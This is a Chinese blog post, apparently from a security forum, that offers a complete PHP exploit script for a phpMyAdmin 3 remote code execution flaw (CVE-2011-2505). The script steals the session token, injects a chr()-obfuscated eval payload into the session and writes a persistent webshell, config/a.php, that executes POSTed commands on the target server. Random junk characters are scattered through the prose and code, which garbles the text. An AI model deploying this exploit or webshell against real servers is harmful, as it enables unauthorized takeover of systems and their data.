phpadmin3 remote code execute php版本exploit

admin

最近在家做专职奶爸，不谙圈内事很多months了，博客也无更新。

昨夜带孩子整夜未眠，看到黑哥在php security群里关于phpmyadmin3漏洞的讨论，虽然之前没看过漏洞代码，不过前段时间还是在微博上看到wofeiwo的exp了，不过据黑哥说有不鸡肋的利用方法，于是夜里翻代码出来研究了翻，写出了这个冷饭exp，由于我搞的晚了，之前已经很多人研究了写exp了，于是我这个属于炒冷饭，权当研究研究打发时间了。
4 m7 k1 _1 H5 R8 b( `
首先赞下wofeiwo的python版本的exp，再赞下wofeiwo跟superhei的钻研精神，学习的榜样啊。不过之前那个exp利用起来是有一些限制的：
/ s/ I( }! A' T9 X一是session.auto_start = 1；
/ y" e* O- y0 U0 V) M/ _2 m0 _6 K二是pma3默认代码里libraries目录已经用.htaccess控制了不允许访问。
$ g+ Y5 c, c  v9 W% Y; g当然还有第三点大家都不可以逾越的鸿沟：config目录存在且可写。

- j6 v& F: v4 ?  b5 O. O在群里看了黑哥的发言后，再看了下代码，发现前两点利用限制均可以无视。所以其实这个漏洞还真的可以不是那么鸡肋。

于是写了这个php版本的exp，代码如下：

#!/usr/bin/php
$ @9 B" p: Y, s# ?3 E+ N<?php
print_r('
+---------------------------------------------------------------------------+
pma3 - phpMyAdmin3 remote code execute exploit [Not jilei(chicken\'s ribs)]
/ O+ _# D) M" M( T2 R2 \9 zby oldjun(www.oldjun.com)
4 c/ I" S+ x) k. l# i+ mwelcome to www.t00ls.net
mail: oldjun@gmail.com
Assigned CVE id: CVE-2011-2505
+---------------------------------------------------------------------------+
0 Y. M9 J  G- G( {+ O, r+ o');

/**
) i3 `; R6 _$ C * working when the directory:"config" exists and is writeable.
" m  V7 ?. Y4 t+ q+ ?/ G**/

1 J, m1 O6 Y% {& m8 q; ]if ($argc < 3) {
: {3 T: a3 m0 o1 p, c    print_r('
; ?) Z9 l5 m4 h2 o8 F' L$ f8 N: N+---------------------------------------------------------------------------+
8 y, i# u! H: r# @0 BUsage: php '.$argv[0].' host path
0 j$ A- H/ x9 }* Dhost:      target server (ip/hostname)
path:      path to pma3
( S( q* W" R! w9 j3 FExample:
php '.$argv[0].' localhost /pma/
+---------------------------------------------------------------------------+
');
. {# m# h9 R. I' @8 c- M; D# ]    exit;
}
. w, C2 I  ^, z- Q& J8 B; Q
$host = $argv[1];
$ J2 j' I. Y3 n+ Q) ~/ k# y& E$path = $argv[2];

9 i# l8 v+ A' e! {/**
* Try to determine if the directory:"config" exists
**/
9 q6 W5 w+ h+ v' {echo "[+] Try to determine if the directory:config exists....\n";
$returnstr=php_request('config/');
if(strpos($returnstr,'404')){
    exit("[-] Exploit Failed! The directory:config do not exists!\n");
/ u$ r5 T3 J$ Y! A}

- ]  \9 W+ [" c) V9 a/**
1 Q8 W$ C) b; h- @# s% w * Try to get token and sessionid
3 D5 Y7 C4 \5 c**/
echo "[+] Try to get token and sessionid....\n";
$result=php_request('index.php');
preg_match('/phpMyAdmin=(\w{32,40})\;(.*?)token=(\w{32})\&/s', $result, $resp);
$token=$resp[3];
. d" s/ n" }- ^$sessionid=$resp[1];
, l. D5 y8 W% N! kif($token && $sessionid){
    echo "[+] tokentoken\n";
; z  R% E! p( k/ Y7 k( J    echo "[+] Session IDsessionid\n";
}else{
    exit("[-] Can't get token and Session ID,Exploit Failed!\n");
: h, |" v& `, j4 ~5 A$ K}

/ s0 T9 A5 O! g/**
  ^0 s1 R& j8 g" ^ * Try to insert shell into session
5 M. T+ J8 p; \; D**/
2 K. m1 t, [3 \) z4 Qecho "[+] Try to insert shell into session....\n";
php_request('db_create.php?token='.$token.'&session_to_unset=t00ls&_SESSION[ConfigFile][Servers][*/eval(chr(102).chr(112).chr(117).chr(116).chr(115).chr(40).chr(102).chr(111).chr(112).chr(101).chr(110).chr(40).chr(39).chr(97).chr(46).chr(112).chr(104).chr(112).chr(39).chr(44).chr(39).chr(119).chr(39).chr(41).chr(44).chr(39).chr(60).chr(63).chr(112).chr(104).chr(112).chr(32).chr(101).chr(118).chr(97).chr(108).chr(40).chr(36).chr(95).chr(80).chr(79).chr(83).chr(84).chr(91).chr(99).chr(109).chr(100).chr(93).chr(41).chr(63).chr(62).chr(39).chr(41).chr(59).chr(101).chr(99).chr(104).chr(111).chr(40).chr(39).chr(116).chr(48).chr(48).chr(108).chr(115).chr(39).chr(41).chr(59));/*][host]=t00ls.net','','phpMyAdmin='.$sessionid);//Actually,almost all the php files in home directory of pma3 can be used here.

/**
0 A2 R. D7 f; k; T8 J' k * Try to create webshell
**/
echo "[+] Try to create webshell....\n";
$ ?% T2 U2 x- F8 @1 U4 `* Rphp_request('setup/config.php','phpMyAdmin='.$sessionid.'&tab_hash=&token='.$token.'&check_page_refresh=&DefaultLang=en&ServerDefault=0&eol=unix&submit_save=Save','phpMyAdmin='.$sessionid);
/**
* Try to check if the webshell was created successfully
7 _, F, Q, e( l* m6 P**/
echo "[+] Try to check if the webshell was created successfully....\n";
# T5 T% Q8 p% l  g2 Q$content=php_request('config/config.inc.php');
1 @( P& N! y+ U+ L4 c+ t% K- ~if(strpos($content,'t00ls')){
0 C* g9 c  `  {    echo "[+] Congratulations! Expoilt successfully....\n";
& \0 |2 ?! H9 ]! j7 S    echo "[+] Webshell:http://$host{$path}config/a.php eval(\$_POST[cmd])\n";
}else{
    exit("[-] Exploit Failed! Perhaps the directory:config do not exists or is not writeable!\n");
# a+ G" _* k; l3 l}

. m& q2 _$ D: E; K3 nfunction php_request($url,$data='',$cookie=''){
# t7 D1 s1 }2 b  i9 l9 r9 Y    global  $host, $path;
4 X  D7 @3 w$ L" ~3 d+ q" B, Z   
; Z. g5 r- }$ @. P3 e5 G    $method=$data?'POST':'GET';
( N, z, U; f" [, z2 _  K   
    $packet = $method." ".$path.$url." HTTP/1.1\r\n";
    $packet .= "Accept: */*\r\n";
% a% K! q/ G* `4 E9 P3 G    $packet .= "User-Agent: Mozilla/4.0 (compatible; MSIE 6.00; Windows NT 5.1; SV1)\r\n";
1 n1 w4 R" o* m) c6 A    $packet .= "Host: $host\r\n";
    $packet .= $data?"Content-Type: application/x-www-form-urlencoded\r\n":"";
    $packet .= $data?"Content-Length: ".strlen($data)."\r\n":"";
    $packet .= $cookie?"Cookie: $cookie\r\n":"";
    $packet .= "Connection: Close\r\n\r\n";
    $packet .= $data?$data:"";
9 y& g) r% G1 ~' i, L) m2 a
    $fp = fsockopen(gethostbyname($host), 80);
" f3 z, C# X! ]9 j" I; ]    if (!$fp) {
    echo 'No response from '.$host; die;
% [$ k! ^8 r: k* d8 m$ n    }
    fputs($fp, $packet);

    $resp = '';

4 G. k- G* u  Y! y2 _* |    while ($fp && !feof($fp))
        $resp .= fread($fp, 1024);
! C$ p* z4 b" w% m0 f5 }
    return $resp;
}
; h1 t6 i8 `& ?: Y2 {   
3 d' W% g- S) n* b! }  t?>
.